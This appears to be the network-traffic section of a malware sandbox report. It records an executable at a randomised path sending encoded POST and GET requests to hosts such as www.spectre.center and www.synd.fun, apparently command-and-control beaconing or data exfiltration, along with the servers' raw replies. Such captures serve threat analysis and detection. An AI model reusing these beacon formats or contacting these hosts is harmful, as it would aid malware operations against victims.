Dec 2, 2024 14:38:07.869075060 CET	1850	OUT	POST /v70f/ HTTP/1.1 Host: www.spectre.center Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.spectre.center Referer: http://www.spectre.center/v70f/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 4d 44 6f 44 65 63 69 6d 4f 6c 37 71 59 54 4b 43 2f 39 49 77 63 69 41 66 41 76 64 57 39 63 4c 39 46 75 6e 57 32 72 55 41 45 67 44 4e 62 34 6e 56 31 4e 41 57 4f 4d 59 61 6c 41 6e 6b 63 2f 64 77 74 62 6c 53 47 65 6b 33 35 31 58 63 33 5a 77 71 4e 4f 35 6e 58 54 70 52 39 50 59 71 6c 34 6a 55 68 31 6a 58 4f 64 69 48 50 77 70 2b 65 51 49 79 44 7a 31 39 48 37 53 36 36 6a 45 4a 2b 35 4d 6f 54 47 63 54 34 6b 64 72 63 42 62 52 59 55 74 79 2f 51 58 43 38 43 55 71 4b 41 6d 70 54 70 74 4b 2f 74 64 69 6a 6b 79 32 4c 37 64 6e 6a 2f 50 47 36 2f 6d 68 65 78 30 79 37 56 4c 33 52 78 4f 4d 62 74 69 4c 51 76 56 64 55 62 53 7a 66 71 34 77 74 74 51 34 6e 58 71 35 56 4c 56 73 6c 34 73 41 63 68 56 43 63 41 6a 55 54 4f 68 4b 4c 2f 63 52 38 6e 4e 65 50 36 74 61 50 6c 62 45 6c 54 74 30 66 75 41 71 33 6c 37 38 4f 49 56 47 57 37 6f 48 70 33 7a 39 57 73 78 6b 52 46 56 49 50 46 63 4d 39 54 74 6e 48 52 4c 41 6e 70 57 6b 63 63 67 6d 6e 31 2b 65 70 32 48 37 55 41 70 79 2b 4c 41 42 37 48 35 38 46 34 45 64 52 62 [TRUNCATED] Data Ascii: aNXP_jw=MDoDecimOl7qYTKC/9IwciAfAvdW9cL9FunW2rUAEgDNb4nV1NAWOMYalAnkc/dwtblSGek351Xc3ZwqNO5nXTpR9PYql4jUh1jXOdiHPwp+eQIyDz19H7S66jEJ+5MoTGcT4kdrcBbRYUty/QXC8CUqKAmpTptK/tdijky2L7dnj/PG6/mhex0y7VL3RxOMbtiLQvVdUbSzfq4wttQ4nXq5VLVsl4sAchVCcAjUTOhKL/cR8nNeP6taPlbElTt0fuAq3l78OIVGW7oHp3z9WsxkRFVIPFcM9TtnHRLAnpWkccgmn1+ep2H7UApy+LAB7H58F4EdRbiNwVrjEFE+s3fErFoDURsayQQtysdmgyN/NEFSEh6osu96FuLQ+uycVO+kSoaMxGxKb7lRRmiDtGtlI4WMCaqOtyaAU49cgHEmQi5Q5Wg8HSO9VsbTIdMWsWs24D/qMNTOAqhK9X9yaExmrtbQiJYRFVfQYDQSlJCg7uLDzMCN2yTkn9qIwmxAL62a7liekfwM1Br1aKSAmUFwOMeiQADtVfn+R60Dw6sx+LCh7/olfwc8wnTKP94/rGLizcfwSt/LVsOrl0Yj23sGGYK0bEC73gaEnNxZARhWC6QIbqxVZw/Om5ByL53R+xEBUoW1ErgNPCGh5pk/KYfqNwECWvLoLqDauKigJ6R1hXKxprSfae9EKHj+yAh1161wD1zLu7VYjjrTT1waqGvGEwOyFCIVXnV2CooGxEZFhQYanhrNveVIeVjYaVXue61L98gMEmQWXzJ7nSdFVUg3Yn1jrMMhIToJgcdEAeuC0SPq/S5ovzJ7DfvVb5PNoGYSltqADF1l1uzPopznxqBOV4ZXzKlSudzbxZg1HQNo9FzhpNF7zFB5Rewjk/DRjrz6odDmT2cCfweTC4yMnLxIO1PalSJ63YkIZGSlhl5+z95y4C4aqdM2VMLTQ1vzxOAFtB1+dfsjF6tmyzIp4ZPUPWJiqj6W0ivdf7AiqAex [TRUNCATED]
Dec 2, 2024 14:38:09.194322109 CET	354	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 02 Dec 2024 13:38:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$\|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy\|zvn1DQZ((}&Zce_[0$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49895	5.39.10.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:10.534256935 CET	551	OUT	GET /v70f/?aNXP_jw=BBAjdqWYBB/MRyq00dIcezl7OvIx5dSebduL9p4zICzjFNfvyshgEJ0+kFvLW81K0aQqDuxS3lz73s8YF+5idFlByfp0+7vcrnzlNMGRBRFmOTNFNBZSGoPe8m8L5uZEU1B7gQA=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.spectre.center Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:38:11.840359926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 13:38:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 66 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9f d0 b0 d1 80 d0 ba d0 be d0 b2 d0 b0 20 d1 81 d1 82 d0 be d1 80 d1 96 d0 bd d0 ba d0 b0 20 49 6d 65 6e 61 2e 55 41 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e [TRUNCATED] Data Ascii: 1ffe2<!DOCTYPE html><html lang="ru-RU" prefix="og: http://ogp.me/ns#" class="no-js"><head> <meta name="theme-color" content="#ececec" /> <meta name="msapplication-navbutton-color" content="#ececec" /> <meta charset="UTF-8" /> <title> Imena.UA</title> <link rel="icon" type="image/png" href="//img.imena.ua/i/32.png" sizes="32x32"> <link rel="icon" type="image/png" href="//img.imena.ua/i/96.png" sizes="96x96"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700,300&subset=latin,cyrillic" rel="stylesheet" type="text/css" /> <meta name="viewport" content="user-scalable=0, width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://img.imena.ua/css/media-set.css" type="text/css" /> <style> .park_domain_info { margin: 0 auto; max-width: 650px; text-align: center; } .park_domain_info p { font-size: 16px; padding-b [TRUNCATED]
Dec 2, 2024 14:38:11.840380907 CET	1236	IN	Data Raw: 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 33 37 37 61 61 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 Data Ascii: e { font-size: 30px; color: #0377aa; } </style></head><body> <div class="layout"> <div class="header_nav"> <header> <div class="reducer"> <div c
Dec 2, 2024 14:38:11.840395927 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 64 75 63 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 61 76 5f 69 63 6f 6e 22 3e 3c 2f 64 69 76 3e 0a 20 Data Ascii: <div class="reducer"> <div class="nav_icon"></div> <ul> <li class="first_nav_li mob_nav_3"> <div class="lang">
Dec 2, 2024 14:38:11.840424061 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 Data Ascii: </div> <div> <div class="radio left "> <div class="icon"></div>
Dec 2, 2024 14:38:11.840436935 CET	1236	IN	Data Raw: 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a> </div> </li> <li class="nav_phone" itemscope itemtype="http://schema.org/Organization"> <a href="tel:+380442010102">+380 (44) 201-01-0
Dec 2, 2024 14:38:11.840444088 CET	1236	IN	Data Raw: 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </li> <li> <a href="https://www.imena.ua/domains/premium-domains" title=" "> </a>
Dec 2, 2024 14:38:11.840455055 CET	776	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65 6e 61 2e 75 61 2f 68 65 6c 70 22 3e d0 94 d0 be d0 bf d0 be d0 bc d0 be d0 b3 d0 b0 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 Data Ascii: https://www.imena.ua/help"></a> </li> <li> <a href="https://www.imena.ua/contact"></a> </li>
Dec 2, 2024 14:38:11.840471983 CET	1236	IN	Data Raw: 23 22 20 63 6c 61 73 73 3d 22 65 6e 74 65 72 5f 62 74 6e 22 3e d0 92 d1 85 d1 96 d0 b4 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6e 74 65 72 5f 62 6c 6f 63 6b 20 68 69 64 64 Data Ascii: #" class="enter_btn"></a> <div class="enter_block hidden"> <ol class="enter_block_black"> <li><a href="https://control.imena.ua/login.php?lang=2" rel="nofollow"><s
Dec 2, 2024 14:38:11.840642929 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 61 6e 67 5f 6c 69 73 74 20 68 69 64 64 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: </div> <div class="lang_list hidden"> <div class="lang_list_container"> <div> <div class="radio left ">
Dec 2, 2024 14:38:11.840657949 CET	1236	IN	Data Raw: 75 74 20 74 79 70 65 3d 22 72 61 64 69 6f 22 20 6e 61 6d 65 3d 22 68 5f 74 65 72 6d 22 20 76 61 6c 75 65 3d 22 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: ut type="radio" name="h_term" value="1"> <a href="https://www.imena.ua/ru" class="lang_ru"></a> </label> </div>
Dec 2, 2024 14:38:11.960932016 CET	1236	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 5f 73 65 61 72 63 Data Ascii: v> </div> <div class="domain_search_bg_c"></div> <div class="domain_search_bg_triangle_l"></div> <div class="domain_search_bg_triangle_r"></div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49912	194.58.112.174	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:18.647104025 CET	795	OUT	POST /6sgf/ HTTP/1.1 Host: www.synd.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.synd.fun Referer: http://www.synd.fun/6sgf/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 33 67 75 70 4a 4a 6c 78 71 33 6e 69 65 75 77 4d 68 7a 47 37 58 45 64 39 70 51 35 36 32 59 55 4f 70 62 67 37 67 32 50 47 76 54 71 57 47 2b 59 48 68 45 4c 37 76 56 76 56 2b 4b 36 79 77 34 54 73 53 44 38 62 73 53 48 69 5a 49 34 66 53 77 76 54 76 30 54 77 62 74 48 2f 6d 63 47 68 62 39 71 33 79 65 59 57 6e 5a 53 55 59 62 49 72 48 35 38 6b 4c 32 53 44 6c 70 43 6c 41 42 6e 45 61 50 79 7a 38 4e 58 6d 34 6a 6f 36 38 49 49 4e 56 5a 4f 68 6c 43 30 4f 30 48 6e 59 5a 69 76 6e 4b 2b 4d 2b 32 30 65 67 6b 48 63 61 71 39 4e 69 44 47 45 46 4c 2f 57 35 63 44 47 39 52 45 33 2b 6e 75 45 56 34 6b 4e 70 44 73 39 67 45 70 56 78 Data Ascii: aNXP_jw=3gupJJlxq3nieuwMhzG7XEd9pQ562YUOpbg7g2PGvTqWG+YHhEL7vVvV+K6yw4TsSD8bsSHiZI4fSwvTv0TwbtH/mcGhb9q3yeYWnZSUYbIrH58kL2SDlpClABnEaPyz8NXm4jo68IINVZOhlC0O0HnYZivnK+M+20egkHcaq9NiDGEFL/W5cDG9RE3+nuEV4kNpDs9gEpVx
Dec 2, 2024 14:38:20.003469944 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 02 Dec 2024 13:38:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 5b 6f 1b c7 15 7e f7 af 18 b3 80 48 da dc dd 28 29 02 db 22 a9 26 71 fa 94 4b 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 5d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a0 37 14 7d 2a 20 5f d4 28 be 28 7f 61 f9 8f fa 9d 33 bb cb 21 45 ca b7 a4 28 01 89 cb b9 9c 39 73 2e df 39 67 66 eb a7 3b a1 9b 8c 87 4a f4 92 81 df ac d3 7f e1 fa 32 8e 1b 25 2f 6e c9 8e 1c 26 de 8e 2a 09 5f 06 dd 46 29 1a 95 30 46 c9 4e b3 3e 50 89 14 6e 4f 46 b1 4a 1a a5 f7 2e fd d2 3a 87 3e 6e 0d e4 40 35 4a 43 19 f5 bd a0 5b 12 6e 18 24 2a c0 a0 48 75 a3 91 15 81 e6 ec c8 1d 4f ed 0e c3 28 31 86 ee 7a 9d a4 d7 e8 a8 1d cf 55 16 ff a8 79 81 97 78 d2 b7 62 57 fa aa b1 0a 12 89 97 f8 aa b9 bb bb 6b c7 e3 a0 63 6f 8f 82 ba a3 db ea be 17 f4 45 a4 fc 46 29 4e c6 be 8a 7b 4a 81 fc 40 75 3c d9 28 49 df 2f 89 5e a4 b6 0b 26 99 29 4b 8e 92 d0 76 e3 18 a4 a7 f3 3d b0 9f 8f de 96 e0 27 0c 6c fc 5b 5f 2d 09 92 1b c4 34 90 5d e5 5c b1 78 60 b3 1e bb 91 37 4c 9a ce 99 fa e9 cd 37 2e be 76 e9 [TRUNCATED] Data Ascii: d93Z[o~H()"&qK9-E!r]Jm4bh@7}* _((a3!E(9s.9gf;J2%/n&_F)0FN>PnOFJ.:>n@5JC[n$HuO(1zUyxbWkcoEF)N{J@u<(I/^&)Kv='l[_-4]\x`7L7.v3]/vIeG4xv/k{k3[[3NdD(-&S);xNqZxEajbsmLBFQ}fT0HO2;GGi;sn[CJY)NZn@TdVA$gZ4;V&R`(}E]?Gx>Qz7+A;_Ymn$Ngm3vp`%xZT{Q_iu{f}4sV+pk7!foo/X-0NVsUgdmeVPj>\>E]GvLH8#GIq.gPUK&uUg%d,rBtO3oq^Sn`0U\|iBR74,O$G1f6}t@`YpANd49^&^7hLiLCOz &GO'7Ez?C,aB)YP`+X2c`GW"#<]=[)[lSoph"sk0 [TRUNCATED]
Dec 2, 2024 14:38:20.003499031 CET	1236	IN	Data Raw: b6 ea 54 fd 06 90 fa d6 00 fe eb 05 2d 5f 6d 27 96 f6 65 2c 98 44 61 d0 7d b2 52 80 ba 30 77 97 82 d6 3f 61 bd 88 50 10 ef e3 f4 1e ec 8c 29 cc e0 ea bc d3 6a e1 c4 a3 b6 56 79 c1 49 3b 04 c2 0d 10 13 03 05 ba df 22 d2 dd 9f fc 01 2e f2 78 f2 45 Data Ascii: T-_m'e,Da}R0w?aP)jVyI;".xE(03{5*RXLFtw9~IKp\|Bnd;-He2TzYx<\|"EO+9:70Z`y[(I6<6Ab#D&k@j
Dec 2, 2024 14:38:20.003508091 CET	1189	IN	Data Raw: 7d e9 84 6c 69 dd 4b 9d 79 cd 2b e7 d2 6e ae f0 01 aa b1 1d b5 5d 9c 22 3b 38 6f cf cf 9a 8b 3a 58 1f 3a 1f 3b 3b fe 96 44 4c c2 82 98 20 37 3a f2 7c 44 1a 66 35 a1 66 a7 e8 bc b4 36 3d 89 29 3e ab d3 ec 00 95 7b 01 8e 39 bb e3 16 9d b7 91 09 03 Data Ascii: }liKy+n]";8o:X:;;DL 7:\|Df5f6=)>{9G'r@)"Ct(UWv!>ml2OOyupqEk)^;%-*m]3bvNZ{f~Niu`E)G\h\|0z+,:qFhx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49919	194.58.112.174	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:21.340894938 CET	819	OUT	POST /6sgf/ HTTP/1.1 Host: www.synd.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.synd.fun Referer: http://www.synd.fun/6sgf/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 33 67 75 70 4a 4a 6c 78 71 33 6e 69 65 4f 67 4d 6d 51 75 37 53 6b 64 38 69 77 35 36 76 49 55 4b 70 62 63 37 67 7a 75 64 75 6c 36 57 47 65 6f 48 69 47 76 37 73 56 76 56 71 36 36 33 39 59 54 6e 53 45 30 70 73 58 76 69 5a 4d 6f 66 53 30 2f 54 75 44 50 7a 61 39 48 68 71 38 47 6a 56 64 71 33 79 65 59 57 6e 5a 47 71 59 62 51 72 45 4b 6b 6b 4e 58 53 41 6d 70 43 36 48 42 6e 45 58 76 79 2f 38 4e 58 2b 34 69 6b 45 38 4f 4d 4e 56 62 6d 68 6c 52 73 50 36 48 6d 79 58 43 75 4d 4a 4e 70 6d 31 69 58 33 71 58 77 6a 2f 2f 35 30 50 51 5a 66 58 4d 57 61 4f 54 6d 2f 52 47 76 4d 6e 4f 45 2f 36 6b 31 70 52 37 78 48 4c 64 77 53 32 36 76 59 34 43 45 66 31 70 4b 43 39 37 32 34 37 2b 2f 46 77 77 3d 3d Data Ascii: aNXP_jw=3gupJJlxq3nieOgMmQu7Skd8iw56vIUKpbc7gzudul6WGeoHiGv7sVvVq6639YTnSE0psXviZMofS0/TuDPza9Hhq8GjVdq3yeYWnZGqYbQrEKkkNXSAmpC6HBnEXvy/8NX+4ikE8OMNVbmhlRsP6HmyXCuMJNpm1iX3qXwj//50PQZfXMWaOTm/RGvMnOE/6k1pR7xHLdwS26vY4CEf1pKC97247+/Fww==
Dec 2, 2024 14:38:22.741286993 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 02 Dec 2024 13:38:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 5b 6f 1b c7 15 7e f7 af 18 b3 80 48 da dc dd 28 29 02 db 22 a9 26 71 fa 94 4b 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 5d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a0 37 14 7d 2a 20 5f d4 28 be 28 7f 61 f9 8f fa 9d 33 bb cb 21 45 ca b7 a4 28 01 89 cb b9 9c 39 73 2e df 39 67 66 eb a7 3b a1 9b 8c 87 4a f4 92 81 df ac d3 7f e1 fa 32 8e 1b 25 2f 6e c9 8e 1c 26 de 8e 2a 09 5f 06 dd 46 29 1a 95 30 46 c9 4e b3 3e 50 89 14 6e 4f 46 b1 4a 1a a5 f7 2e fd d2 3a 87 3e 6e 0d e4 40 35 4a 43 19 f5 bd a0 5b 12 6e 18 24 2a c0 a0 48 75 a3 91 15 81 e6 ec c8 1d 4f ed 0e c3 28 31 86 ee 7a 9d a4 d7 e8 a8 1d cf 55 16 ff a8 79 81 97 78 d2 b7 62 57 fa aa b1 0a 12 89 97 f8 aa b9 bb bb 6b c7 e3 a0 63 6f 8f 82 ba a3 db ea be 17 f4 45 a4 fc 46 29 4e c6 be 8a 7b 4a 81 fc 40 75 3c d9 28 49 df 2f 89 5e a4 b6 0b 26 99 29 4b 8e 92 d0 76 e3 18 a4 a7 f3 3d b0 9f 8f de 96 e0 27 0c 6c fc 5b 5f 2d 09 92 1b c4 34 90 5d e5 5c b1 78 60 b3 1e bb 91 37 4c 9a ce 99 fa e9 cd 37 2e be 76 e9 [TRUNCATED] Data Ascii: d93Z[o~H()"&qK9-E!r]Jm4bh@7}* _((a3!E(9s.9gf;J2%/n&_F)0FN>PnOFJ.:>n@5JC[n$HuO(1zUyxbWkcoEF)N{J@u<(I/^&)Kv='l[_-4]\x`7L7.v3]/vIeG4xv/k{k3[[3NdD(-&S);xNqZxEajbsmLBFQ}fT0HO2;GGi;sn[CJY)NZn@TdVA$gZ4;V&R`(}E]?Gx>Qz7+A;_Ymn$Ngm3vp`%xZT{Q_iu{f}4sV+pk7!foo/X-0NVsUgdmeVPj>\>E]GvLH8#GIq.gPUK&uUg%d,rBtO3oq^Sn`0U\|iBR74,O$G1f6}t@`YpANd49^&^7hLiLCOz &GO'7Ez?C,aB)YP`+X2c`GW"#<]=[)[lSoph"sk0 [TRUNCATED]
Dec 2, 2024 14:38:22.741344929 CET	1236	IN	Data Raw: b6 ea 54 fd 06 90 fa d6 00 fe eb 05 2d 5f 6d 27 96 f6 65 2c 98 44 61 d0 7d b2 52 80 ba 30 77 97 82 d6 3f 61 bd 88 50 10 ef e3 f4 1e ec 8c 29 cc e0 ea bc d3 6a e1 c4 a3 b6 56 79 c1 49 3b 04 c2 0d 10 13 03 05 ba df 22 d2 dd 9f fc 01 2e f2 78 f2 45 Data Ascii: T-_m'e,Da}R0w?aP)jVyI;".xE(03{5*RXLFtw9~IKp\|Bnd;-He2TzYx<\|"EO+9:70Z`y[(I6<6Ab#D&k@j
Dec 2, 2024 14:38:22.741354942 CET	1189	IN	Data Raw: 7d e9 84 6c 69 dd 4b 9d 79 cd 2b e7 d2 6e ae f0 01 aa b1 1d b5 5d 9c 22 3b 38 6f cf cf 9a 8b 3a 58 1f 3a 1f 3b 3b fe 96 44 4c c2 82 98 20 37 3a f2 7c 44 1a 66 35 a1 66 a7 e8 bc b4 36 3d 89 29 3e ab d3 ec 00 95 7b 01 8e 39 bb e3 16 9d b7 91 09 03 Data Ascii: }liKy+n]";8o:X:;;DL 7:\|Df5f6=)>{9G'r@)"Ct(UWv!>ml2OOyupqEk)^;%-*m]3bvNZ{f~Niu`E)G\h\|0z+,:qFhx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49925	194.58.112.174	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:24.011362076 CET	1832	OUT	POST /6sgf/ HTTP/1.1 Host: www.synd.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.synd.fun Referer: http://www.synd.fun/6sgf/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 33 67 75 70 4a 4a 6c 78 71 33 6e 69 65 4f 67 4d 6d 51 75 37 53 6b 64 38 69 77 35 36 76 49 55 4b 70 62 63 37 67 7a 75 64 75 6c 79 57 47 74 67 48 69 6d 54 37 74 56 76 56 32 71 36 32 39 59 54 6d 53 43 63 74 73 58 72 63 5a 4f 67 66 53 54 58 54 37 48 37 7a 56 39 48 68 33 73 47 69 62 39 71 69 79 65 49 53 6e 5a 57 71 59 62 51 72 45 4e 63 6b 61 57 53 41 71 4a 43 6c 41 42 6e 59 61 50 7a 57 38 4f 6e 75 34 69 78 2f 38 2b 73 4e 55 37 32 68 6e 6a 30 50 6c 58 6d 77 48 53 75 55 4a 4e 56 48 31 6a 2f 37 71 58 30 4a 2f 2f 64 30 4e 58 41 66 46 6f 65 37 64 67 47 45 50 32 72 30 2f 72 73 30 2f 33 35 4f 66 74 35 48 45 2b 38 34 35 62 50 2b 78 42 31 4d 69 35 43 6f 36 38 54 35 7a 39 47 61 79 45 2b 62 4a 38 73 62 59 6b 54 4b 41 65 49 31 50 61 